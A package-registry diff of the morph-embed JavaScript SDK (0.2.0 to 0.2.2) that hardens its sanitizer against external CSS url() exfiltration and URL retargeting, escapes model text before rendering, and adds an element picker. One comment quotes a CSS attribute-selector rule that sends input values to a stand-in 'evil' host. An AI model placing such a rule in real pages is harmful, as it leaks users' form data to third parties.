morph-embed 0.2.0 → 0.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,4 +1,4 @@
1
- /*! Morph Embed SDK v0.2.0 — https://usemorph.xyz — MIT */
1
+ /*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
2
2
  const g = typeof window !== "undefined" ? window : globalThis;
3
3
 
4
4
  /* ---- shared/dsl.js ---- */
@@ -77,6 +77,17 @@ const g = typeof window !== "undefined" ? window : globalThis;
77
77
  // URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
78
78
  const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
79
79
 
80
+ // setAttr must never retarget the URL of these elements even to an https host:
81
+ // <base href> rewrites how every relative URL on the page resolves; <link>,
82
+ // <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
83
+ // rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
84
+ const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
85
+ // Cheap purely-static check: does a selector name one of those tags directly?
86
+ function selectorNamesBlockedTag(selector) {
87
+ const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
88
+ return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
89
+ }
90
+
80
91
  // Modest length caps (DoS hygiene; generous enough not to clip real payloads).
81
92
  const MAX_CSS = 200000;
82
93
  const MAX_HTML = 200000;
@@ -120,6 +131,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
120
131
  /behavior\s*:/.test(normalized) ||
121
132
  /-moz-binding/.test(normalized) ||
122
133
  /url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
134
+ // external url() (scheme or protocol-relative), except inline data:image —
135
+ // backstop for escape/comment-obfuscated exfil the token pass missed
136
+ /url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
123
137
  /(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
124
138
  );
125
139
  }
@@ -146,6 +160,23 @@ const g = typeof window !== "undefined" ? window : globalThis;
146
160
  /url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
147
161
  'url($1about:blank#)'
148
162
  );
163
+ // EXTERNAL url() exfiltration channel: a model reshape must never fetch an
164
+ // off-page resource (the product is reshape-only, on-page data only). An
165
+ // attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
166
+ // leaks page secrets to an attacker host with zero interaction. Neutralize
167
+ // any url() whose target is absolute (has a scheme) or protocol-relative
168
+ // (//host), EXCEPT data:image/* (inline, no network). Relative paths
169
+ // (same-origin, can't exfiltrate cross-origin) are preserved.
170
+ out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
171
+ const target = String(inner)
172
+ .replace(/\/\*[\s\S]*?\*\//g, '') // comments
173
+ .trim()
174
+ .replace(/^(['"])([\s\S]*)\1$/, '$2') // matched quotes
175
+ .trim();
176
+ if (/^data:image\//i.test(target)) return full; // inline image OK
177
+ if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
178
+ return full; // relative -> OK
179
+ });
149
180
  // bare scheme prefixes inside the value (style attr context)
150
181
  if (mode === 'style') {
151
182
  out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
@@ -381,6 +412,11 @@ const g = typeof window !== "undefined" ? window : globalThis;
381
412
  const n = normalizeAttrName(op.name);
382
413
  if (n.startsWith('on')) return 'event-handler attr blocked';
383
414
  if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
415
+ // Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
416
+ // to https — because that loads external content or reroutes the page.
417
+ if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
418
+ return 'url retarget on ' + n + ' blocked for framing/base/link targets';
419
+ }
384
420
  }
385
421
  // renderData: chart type + position must be from the fixed sets. The op has
386
422
  // two forms; either way the actual numbers come from caller-attached data at
@@ -651,8 +687,13 @@ const g = typeof window !== "undefined" ? window : globalThis;
651
687
  return () => els.forEach((el, i) => { el.textContent = prev[i]; });
652
688
  }
653
689
  case 'setAttr': {
654
- const els = resolveEls(doc, op);
690
+ let els = resolveEls(doc, op);
655
691
  if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
692
+ // Airtight, selector-independent backstop: never write a URL attribute
693
+ // onto a framing/base/link element regardless of how it was matched.
694
+ if (URL_ATTRS.has(normalizeAttrName(op.name))) {
695
+ els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
696
+ }
656
697
  if (!els.length) return null;
657
698
  const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
658
699
  els.forEach((el) => el.setAttribute(op.name, op.value));
@@ -910,7 +951,10 @@ const g = typeof window !== "undefined" ? window : globalThis;
910
951
  }
911
952
  case 'setAttr': {
912
953
  if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
913
- const els = unmarked(doc, op.selector, token);
954
+ let els = unmarked(doc, op.selector, token);
955
+ if (URL_ATTRS.has(normalizeAttrName(op.name))) {
956
+ els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
957
+ }
914
958
  if (!els.length) return { touched: 0 };
915
959
  const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
916
960
  els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
@@ -2270,7 +2314,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
2270
2314
  function aimActive(on) { if (els && els.aim) els.aim.classList.toggle('on', !!on); }
2271
2315
 
2272
2316
  window.Morph.bar = {
2273
- mount(h) { handlers = h || {}; if (!host) build(); },
2317
+ // No onPick handler -> no picker in this embedding: hide the ⌖ button so
2318
+ // users never see a dead control (the extension always passes onPick).
2319
+ mount(h) { handlers = h || {}; if (!host) build(); if (els && els.aim) els.aim.style.display = handlers.onPick ? '' : 'none'; },
2274
2320
  show, hide, toggle,
2275
2321
  setStatus, clearStatus, setBusy, showActions,
2276
2322
  isVisible: () => visible,
@@ -2290,6 +2336,152 @@ const g = typeof window !== "undefined" ? window : globalThis;
2290
2336
  })();
2291
2337
 
2292
2338
 
2339
+ /* ---- extension/src/picker.js ---- */
2340
+ /*
2341
+ * Element picker — lets the user click a specific element on the page so the next
2342
+ * reshape is scoped to it (and its descendants) instead of the model guessing
2343
+ * selectors across the whole page.
2344
+ *
2345
+ * start(onPick, onCancel) : enter pick mode (hover highlights, click selects, Esc cancels)
2346
+ * stop() : leave pick mode
2347
+ * selectorFor(el, doc) : PURE — a stable-ish unique CSS selector for el
2348
+ * describe(el) : PURE — a short human label for el
2349
+ *
2350
+ * Attaches to window.Morph.picker. Pure helpers are CJS-exported for tests.
2351
+ */
2352
+ (function () {
2353
+ 'use strict';
2354
+ window.Morph = window.Morph || {};
2355
+
2356
+ // Prefer the spec-correct native CSS.escape (all modern browsers have it). Fall
2357
+ // back (e.g. jsdom / very old engines) to a regex that backslash-escapes any
2358
+ // non-identifier char AND escapes a leading digit per the CSS spec — otherwise
2359
+ // an id like "2col" yields the INVALID selector "#2col", which throws at
2360
+ // querySelectorAll and forces a weaker, possibly non-unique path.
2361
+ function cssEscape(s) {
2362
+ s = String(s);
2363
+ if (typeof window !== 'undefined' && window.CSS && typeof window.CSS.escape === 'function') {
2364
+ return window.CSS.escape(s);
2365
+ }
2366
+ return s.replace(/[^a-zA-Z0-9_-]/g, (c) => '\\' + c).replace(/^([0-9])/, (m, d) => '\\3' + d + ' ');
2367
+ }
2368
+
2369
+ // A reasonably-unique selector: prefer a unique #id (anchoring the path there if
2370
+ // an ancestor has one), else a short `>`-path with :nth-of-type disambiguation.
2371
+ function selectorFor(el, doc) {
2372
+ doc = doc || (el && el.ownerDocument) || (typeof document !== 'undefined' ? document : null);
2373
+ if (!el || el.nodeType !== 1 || !doc) return '';
2374
+ if (el.id) {
2375
+ const sel = '#' + cssEscape(el.id);
2376
+ try { if (doc.querySelectorAll(sel).length === 1) return sel; } catch (_) { /* keep going */ }
2377
+ }
2378
+ const parts = [];
2379
+ let node = el;
2380
+ let depth = 0;
2381
+ while (node && node.nodeType === 1 && node !== doc.body && node !== doc.documentElement && depth < 6) {
2382
+ if (node.id) {
2383
+ const idSel = '#' + cssEscape(node.id);
2384
+ let unique = false;
2385
+ try { unique = doc.querySelectorAll(idSel).length === 1; } catch (_) { unique = false; }
2386
+ if (unique) { parts.unshift(idSel); return parts.join(' > '); }
2387
+ }
2388
+ let part = node.tagName.toLowerCase();
2389
+ const parent = node.parentNode;
2390
+ if (parent && parent.children) {
2391
+ const sameTag = Array.prototype.filter.call(parent.children, (c) => c.tagName === node.tagName);
2392
+ if (sameTag.length > 1) part += ':nth-of-type(' + (sameTag.indexOf(node) + 1) + ')';
2393
+ }
2394
+ parts.unshift(part);
2395
+ node = node.parentNode;
2396
+ depth++;
2397
+ }
2398
+ return parts.join(' > ');
2399
+ }
2400
+
2401
+ function describe(el) {
2402
+ if (!el || el.nodeType !== 1) return 'element';
2403
+ let s = el.tagName.toLowerCase();
2404
+ if (el.id) s += '#' + el.id;
2405
+ else if (el.classList && el.classList.length) s += '.' + el.classList[0];
2406
+ const text = (el.textContent || '').replace(/\s+/g, ' ').trim().slice(0, 24);
2407
+ if (text) s += ' “' + text + '”';
2408
+ return s;
2409
+ }
2410
+
2411
+ // --- interactive pick mode (needs a live DOM) -----------------------------
2412
+ let active = false, overlay = null, current = null, pickCb = null, cancelCb = null;
2413
+
2414
+ function ensureOverlay() {
2415
+ if (overlay) return overlay;
2416
+ overlay = document.createElement('div');
2417
+ overlay.setAttribute('data-morph-pick-overlay', '1');
2418
+ const s = overlay.style;
2419
+ s.position = 'fixed'; s.zIndex = '2147483646'; s.pointerEvents = 'none';
2420
+ s.border = '2px solid #ffffff'; s.boxShadow = '0 0 0 1px #000, 0 0 0 4px rgba(255,255,255,0.25)';
2421
+ s.background = 'rgba(255,255,255,0.06)'; s.borderRadius = '2px'; s.display = 'none';
2422
+ s.transition = 'left .04s linear, top .04s linear, width .04s linear, height .04s linear';
2423
+ return overlay;
2424
+ }
2425
+
2426
+ // Never let the picker target Morph's own UI (the bar host or this overlay).
2427
+ function isOurs(el) {
2428
+ try { return !!(el && el.closest && el.closest('#morph-host-root, [data-morph-pick-overlay]')); }
2429
+ catch (_) { return false; }
2430
+ }
2431
+
2432
+ function moveOverlay(el) {
2433
+ const r = el.getBoundingClientRect();
2434
+ const s = overlay.style;
2435
+ s.display = 'block';
2436
+ s.left = r.left + 'px'; s.top = r.top + 'px'; s.width = r.width + 'px'; s.height = r.height + 'px';
2437
+ }
2438
+
2439
+ function onMove(e) {
2440
+ const el = e.target;
2441
+ if (!el || isOurs(el)) { overlay.style.display = 'none'; current = null; return; }
2442
+ current = el;
2443
+ try { moveOverlay(el); } catch (_) { /* never break the page */ }
2444
+ }
2445
+ function onClick(e) {
2446
+ if (isOurs(e.target)) return; // let our own UI receive clicks
2447
+ e.preventDefault(); e.stopPropagation();
2448
+ finish(current || e.target);
2449
+ }
2450
+ function onKey(e) { if (e.key === 'Escape') { e.preventDefault(); cancel(); } }
2451
+
2452
+ function teardown() {
2453
+ active = false; current = null;
2454
+ try {
2455
+ document.removeEventListener('mousemove', onMove, true);
2456
+ document.removeEventListener('click', onClick, true);
2457
+ document.removeEventListener('keydown', onKey, true);
2458
+ if (document.documentElement) document.documentElement.style.cursor = '';
2459
+ if (overlay) overlay.style.display = 'none';
2460
+ } catch (_) { /* noop */ }
2461
+ }
2462
+ function finish(el) { const cb = pickCb; teardown(); if (cb) { try { cb(el); } catch (_) {} } }
2463
+ function cancel() { const cb = cancelCb; teardown(); if (cb) { try { cb(); } catch (_) {} } }
2464
+
2465
+ function start(onPick, onCancel) {
2466
+ if (active) return;
2467
+ active = true; pickCb = onPick; cancelCb = onCancel;
2468
+ try {
2469
+ ensureOverlay();
2470
+ (document.body || document.documentElement).appendChild(overlay);
2471
+ document.addEventListener('mousemove', onMove, true);
2472
+ document.addEventListener('click', onClick, true);
2473
+ document.addEventListener('keydown', onKey, true);
2474
+ if (document.documentElement) document.documentElement.style.cursor = 'crosshair';
2475
+ } catch (_) { teardown(); }
2476
+ }
2477
+ function stop() { teardown(); }
2478
+ function isActive() { return active; }
2479
+
2480
+ window.Morph.picker = { start, stop, isActive, selectorFor, describe };
2481
+ if (typeof module !== 'undefined' && module.exports) module.exports = { selectorFor, describe };
2482
+ })();
2483
+
2484
+
2293
2485
  /* ---- sdk/src/ui.js ---- */
2294
2486
  /*
2295
2487
  * Morph SDK — UI layer: launcher + edits panel + undo toast, isolated in a
@@ -2667,6 +2859,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
2667
2859
  const store = deps.store;
2668
2860
  const bar = deps.bar;
2669
2861
  const ui = deps.ui || null;
2862
+ const picker = deps.picker || null;
2670
2863
  const extractContext = deps.extractContext;
2671
2864
  const fetchFn = deps.fetchFn;
2672
2865
  const stageDelays = deps.stageDelays || STAGE_DELAYS;
@@ -2700,10 +2893,68 @@ const g = typeof window !== "undefined" ? window : globalThis;
2700
2893
  }
2701
2894
  backend = (typeof config.backend === 'string' && config.backend)
2702
2895
  ? config.backend.replace(/\/$/, '') : DEFAULT_BACKEND;
2703
- bar.mount({ onSubmit, onUndo });
2896
+ // onPick only when a picker exists — the bar hides the ⌖ button when
2897
+ // no handler is passed, so users never see a dead control.
2898
+ const handlers = { onSubmit, onUndo, onHide };
2899
+ if (picker) handlers.onPick = onPick;
2900
+ bar.mount(handlers);
2704
2901
  return api;
2705
2902
  }
2706
2903
 
2904
+ // ---- element targeting (mirrors extension/src/content.js) --------------
2905
+ let activeTarget = null; // { selector, label } while the user has a pick
2906
+
2907
+ function escapeHtml(s) {
2908
+ return String(s).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
2909
+ }
2910
+ function outlineTarget(el) {
2911
+ try {
2912
+ if (!win.document.getElementById('morph-sdk-target-style')) {
2913
+ const st = win.document.createElement('style');
2914
+ st.id = 'morph-sdk-target-style';
2915
+ st.textContent = '[data-morph-targeted="1"]{outline:2px solid #4c8dff !important;outline-offset:2px !important;}';
2916
+ win.document.documentElement.appendChild(st);
2917
+ }
2918
+ el.setAttribute('data-morph-targeted', '1');
2919
+ } catch (_) { /* cosmetic only */ }
2920
+ }
2921
+ function clearTargetState() {
2922
+ activeTarget = null;
2923
+ try {
2924
+ const el = win.document.querySelector('[data-morph-targeted="1"]');
2925
+ if (el) el.removeAttribute('data-morph-targeted');
2926
+ } catch (_) { /* noop */ }
2927
+ try { bar.clearTarget(); } catch (_) { /* bar optional */ }
2928
+ }
2929
+ function targetHtml() {
2930
+ try {
2931
+ const el = activeTarget && win.document.querySelector(activeTarget.selector);
2932
+ return el ? String(el.outerHTML).slice(0, 4000) : '';
2933
+ } catch (_) { return ''; }
2934
+ }
2935
+ function onPick() {
2936
+ if (!picker || !picker.start) return;
2937
+ try { bar.setStatus('Click any element on the page to target it — Esc to cancel.', ''); } catch (_) { /* noop */ }
2938
+ picker.start((el) => {
2939
+ try {
2940
+ const selector = picker.selectorFor(el, win.document);
2941
+ if (!selector) { bar.setStatus('Couldn’t target that element — try another.', 'err'); return; }
2942
+ activeTarget = { selector, label: picker.describe(el) };
2943
+ outlineTarget(el);
2944
+ bar.setTarget({ label: activeTarget.label, onClear: clearTargetState });
2945
+ bar.setStatus('Targeting <b>' + escapeHtml(activeTarget.label) + '</b>. Now type how to change it.', 'ok');
2946
+ if (bar.focusInput) bar.focusInput();
2947
+ } catch (_) { /* never break the page */ }
2948
+ }, () => {
2949
+ try { bar.aimActive(false); bar.setStatus('Pick cancelled.', ''); } catch (_) { /* noop */ }
2950
+ });
2951
+ }
2952
+ // Closing the bar ends targeting: cancel any in-progress pick, drop the chip.
2953
+ function onHide() {
2954
+ try { if (picker && picker.stop) picker.stop(); } catch (_) { /* noop */ }
2955
+ clearTargetState();
2956
+ }
2957
+
2707
2958
  // Confirm gate for actions. window.confirm is trusted browser chrome the
2708
2959
  // page can't spoof; a bar-styled dialog can replace it later.
2709
2960
  function confirmFn(name, description) {
@@ -2717,7 +2968,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
2717
2968
  () => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
2718
2969
  (e) => {
2719
2970
  const msg = String((e && e.message) || e);
2720
- try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
2971
+ try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
2721
2972
  }
2722
2973
  );
2723
2974
  }
@@ -2798,6 +3049,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
2798
3049
  let resp;
2799
3050
  try {
2800
3051
  const body = { prompt, context, url: win.location.href };
3052
+ if (activeTarget) body.target = { selector: activeTarget.selector, html: targetHtml() };
2801
3053
  if (registry.hasSources() || registry.hasActions()) body.manifests = registry.manifests();
2802
3054
  const r = await fetchFn(backend + '/api/transform', {
2803
3055
  method: 'POST',
@@ -2811,7 +3063,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
2811
3063
  resp = await r.json();
2812
3064
  } catch (e) {
2813
3065
  clearStages();
2814
- try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
3066
+ try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
2815
3067
  return;
2816
3068
  }
2817
3069
  clearStages();
@@ -2840,7 +3092,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
2840
3092
  const edit = await store.appendEdit(pathKey(), anchored, { prompt });
2841
3093
  const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
2842
3094
  const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
2843
- bar.setStatus('✓ ' + explanation + ' Saved for this page.' + note, 'ok');
3095
+ // setStatus renders TRUSTED HTML (innerHTML) escape the model's
3096
+ // free-text explanation, exactly as the extension does (content.js).
3097
+ bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
2844
3098
  bar.showActions(true);
2845
3099
  try { bar.clearInput(); } catch (_) { /* noop */ }
2846
3100
  await refreshCount();
@@ -2966,7 +3220,8 @@ const g = typeof window !== "undefined" ? window : globalThis;
2966
3220
  });
2967
3221
  const embed = createEmbed({
2968
3222
  config, win: window, DSL: window.MorphDSL, registry, store,
2969
- bar: window.Morph.bar, ui, extractContext: window.Morph.extractContext,
3223
+ bar: window.Morph.bar, ui, picker: window.Morph.picker,
3224
+ extractContext: window.Morph.extractContext,
2970
3225
  fetchFn: doFetch, compose: window.MorphStorage.composeEdits,
2971
3226
  });
2972
3227
  embed.init();
@@ -1,4 +1,4 @@
1
- /*! Morph Embed SDK v0.2.0 — https://usemorph.xyz — MIT */
1
+ /*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
2
2
 
3
3
  /* ---- shared/dsl.js ---- */
4
4
  /*
@@ -76,6 +76,17 @@
76
76
  // URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
77
77
  const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
78
78
 
79
+ // setAttr must never retarget the URL of these elements even to an https host:
80
+ // <base href> rewrites how every relative URL on the page resolves; <link>,
81
+ // <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
82
+ // rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
83
+ const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
84
+ // Cheap purely-static check: does a selector name one of those tags directly?
85
+ function selectorNamesBlockedTag(selector) {
86
+ const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
87
+ return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
88
+ }
89
+
79
90
  // Modest length caps (DoS hygiene; generous enough not to clip real payloads).
80
91
  const MAX_CSS = 200000;
81
92
  const MAX_HTML = 200000;
@@ -119,6 +130,9 @@
119
130
  /behavior\s*:/.test(normalized) ||
120
131
  /-moz-binding/.test(normalized) ||
121
132
  /url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
133
+ // external url() (scheme or protocol-relative), except inline data:image —
134
+ // backstop for escape/comment-obfuscated exfil the token pass missed
135
+ /url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
122
136
  /(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
123
137
  );
124
138
  }
@@ -145,6 +159,23 @@
145
159
  /url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
146
160
  'url($1about:blank#)'
147
161
  );
162
+ // EXTERNAL url() exfiltration channel: a model reshape must never fetch an
163
+ // off-page resource (the product is reshape-only, on-page data only). An
164
+ // attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
165
+ // leaks page secrets to an attacker host with zero interaction. Neutralize
166
+ // any url() whose target is absolute (has a scheme) or protocol-relative
167
+ // (//host), EXCEPT data:image/* (inline, no network). Relative paths
168
+ // (same-origin, can't exfiltrate cross-origin) are preserved.
169
+ out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
170
+ const target = String(inner)
171
+ .replace(/\/\*[\s\S]*?\*\//g, '') // comments
172
+ .trim()
173
+ .replace(/^(['"])([\s\S]*)\1$/, '$2') // matched quotes
174
+ .trim();
175
+ if (/^data:image\//i.test(target)) return full; // inline image OK
176
+ if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
177
+ return full; // relative -> OK
178
+ });
148
179
  // bare scheme prefixes inside the value (style attr context)
149
180
  if (mode === 'style') {
150
181
  out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
@@ -380,6 +411,11 @@
380
411
  const n = normalizeAttrName(op.name);
381
412
  if (n.startsWith('on')) return 'event-handler attr blocked';
382
413
  if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
414
+ // Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
415
+ // to https — because that loads external content or reroutes the page.
416
+ if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
417
+ return 'url retarget on ' + n + ' blocked for framing/base/link targets';
418
+ }
383
419
  }
384
420
  // renderData: chart type + position must be from the fixed sets. The op has
385
421
  // two forms; either way the actual numbers come from caller-attached data at
@@ -650,8 +686,13 @@
650
686
  return () => els.forEach((el, i) => { el.textContent = prev[i]; });
651
687
  }
652
688
  case 'setAttr': {
653
- const els = resolveEls(doc, op);
689
+ let els = resolveEls(doc, op);
654
690
  if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
691
+ // Airtight, selector-independent backstop: never write a URL attribute
692
+ // onto a framing/base/link element regardless of how it was matched.
693
+ if (URL_ATTRS.has(normalizeAttrName(op.name))) {
694
+ els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
695
+ }
655
696
  if (!els.length) return null;
656
697
  const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
657
698
  els.forEach((el) => el.setAttribute(op.name, op.value));
@@ -909,7 +950,10 @@
909
950
  }
910
951
  case 'setAttr': {
911
952
  if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
912
- const els = unmarked(doc, op.selector, token);
953
+ let els = unmarked(doc, op.selector, token);
954
+ if (URL_ATTRS.has(normalizeAttrName(op.name))) {
955
+ els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
956
+ }
913
957
  if (!els.length) return { touched: 0 };
914
958
  const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
915
959
  els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
@@ -2269,7 +2313,9 @@
2269
2313
  function aimActive(on) { if (els && els.aim) els.aim.classList.toggle('on', !!on); }
2270
2314
 
2271
2315
  window.Morph.bar = {
2272
- mount(h) { handlers = h || {}; if (!host) build(); },
2316
+ // No onPick handler -> no picker in this embedding: hide the ⌖ button so
2317
+ // users never see a dead control (the extension always passes onPick).
2318
+ mount(h) { handlers = h || {}; if (!host) build(); if (els && els.aim) els.aim.style.display = handlers.onPick ? '' : 'none'; },
2273
2319
  show, hide, toggle,
2274
2320
  setStatus, clearStatus, setBusy, showActions,
2275
2321
  isVisible: () => visible,
@@ -2289,6 +2335,152 @@
2289
2335
  })();
2290
2336
 
2291
2337
 
2338
+ /* ---- extension/src/picker.js ---- */
2339
+ /*
2340
+ * Element picker — lets the user click a specific element on the page so the next
2341
+ * reshape is scoped to it (and its descendants) instead of the model guessing
2342
+ * selectors across the whole page.
2343
+ *
2344
+ * start(onPick, onCancel) : enter pick mode (hover highlights, click selects, Esc cancels)
2345
+ * stop() : leave pick mode
2346
+ * selectorFor(el, doc) : PURE — a stable-ish unique CSS selector for el
2347
+ * describe(el) : PURE — a short human label for el
2348
+ *
2349
+ * Attaches to window.Morph.picker. Pure helpers are CJS-exported for tests.
2350
+ */
2351
+ (function () {
2352
+ 'use strict';
2353
+ window.Morph = window.Morph || {};
2354
+
2355
+ // Prefer the spec-correct native CSS.escape (all modern browsers have it). Fall
2356
+ // back (e.g. jsdom / very old engines) to a regex that backslash-escapes any
2357
+ // non-identifier char AND escapes a leading digit per the CSS spec — otherwise
2358
+ // an id like "2col" yields the INVALID selector "#2col", which throws at
2359
+ // querySelectorAll and forces a weaker, possibly non-unique path.
2360
+ function cssEscape(s) {
2361
+ s = String(s);
2362
+ if (typeof window !== 'undefined' && window.CSS && typeof window.CSS.escape === 'function') {
2363
+ return window.CSS.escape(s);
2364
+ }
2365
+ return s.replace(/[^a-zA-Z0-9_-]/g, (c) => '\\' + c).replace(/^([0-9])/, (m, d) => '\\3' + d + ' ');
2366
+ }
2367
+
2368
+ // A reasonably-unique selector: prefer a unique #id (anchoring the path there if
2369
+ // an ancestor has one), else a short `>`-path with :nth-of-type disambiguation.
2370
+ function selectorFor(el, doc) {
2371
+ doc = doc || (el && el.ownerDocument) || (typeof document !== 'undefined' ? document : null);
2372
+ if (!el || el.nodeType !== 1 || !doc) return '';
2373
+ if (el.id) {
2374
+ const sel = '#' + cssEscape(el.id);
2375
+ try { if (doc.querySelectorAll(sel).length === 1) return sel; } catch (_) { /* keep going */ }
2376
+ }
2377
+ const parts = [];
2378
+ let node = el;
2379
+ let depth = 0;
2380
+ while (node && node.nodeType === 1 && node !== doc.body && node !== doc.documentElement && depth < 6) {
2381
+ if (node.id) {
2382
+ const idSel = '#' + cssEscape(node.id);
2383
+ let unique = false;
2384
+ try { unique = doc.querySelectorAll(idSel).length === 1; } catch (_) { unique = false; }
2385
+ if (unique) { parts.unshift(idSel); return parts.join(' > '); }
2386
+ }
2387
+ let part = node.tagName.toLowerCase();
2388
+ const parent = node.parentNode;
2389
+ if (parent && parent.children) {
2390
+ const sameTag = Array.prototype.filter.call(parent.children, (c) => c.tagName === node.tagName);
2391
+ if (sameTag.length > 1) part += ':nth-of-type(' + (sameTag.indexOf(node) + 1) + ')';
2392
+ }
2393
+ parts.unshift(part);
2394
+ node = node.parentNode;
2395
+ depth++;
2396
+ }
2397
+ return parts.join(' > ');
2398
+ }
2399
+
2400
+ function describe(el) {
2401
+ if (!el || el.nodeType !== 1) return 'element';
2402
+ let s = el.tagName.toLowerCase();
2403
+ if (el.id) s += '#' + el.id;
2404
+ else if (el.classList && el.classList.length) s += '.' + el.classList[0];
2405
+ const text = (el.textContent || '').replace(/\s+/g, ' ').trim().slice(0, 24);
2406
+ if (text) s += ' “' + text + '”';
2407
+ return s;
2408
+ }
2409
+
2410
+ // --- interactive pick mode (needs a live DOM) -----------------------------
2411
+ let active = false, overlay = null, current = null, pickCb = null, cancelCb = null;
2412
+
2413
+ function ensureOverlay() {
2414
+ if (overlay) return overlay;
2415
+ overlay = document.createElement('div');
2416
+ overlay.setAttribute('data-morph-pick-overlay', '1');
2417
+ const s = overlay.style;
2418
+ s.position = 'fixed'; s.zIndex = '2147483646'; s.pointerEvents = 'none';
2419
+ s.border = '2px solid #ffffff'; s.boxShadow = '0 0 0 1px #000, 0 0 0 4px rgba(255,255,255,0.25)';
2420
+ s.background = 'rgba(255,255,255,0.06)'; s.borderRadius = '2px'; s.display = 'none';
2421
+ s.transition = 'left .04s linear, top .04s linear, width .04s linear, height .04s linear';
2422
+ return overlay;
2423
+ }
2424
+
2425
+ // Never let the picker target Morph's own UI (the bar host or this overlay).
2426
+ function isOurs(el) {
2427
+ try { return !!(el && el.closest && el.closest('#morph-host-root, [data-morph-pick-overlay]')); }
2428
+ catch (_) { return false; }
2429
+ }
2430
+
2431
+ function moveOverlay(el) {
2432
+ const r = el.getBoundingClientRect();
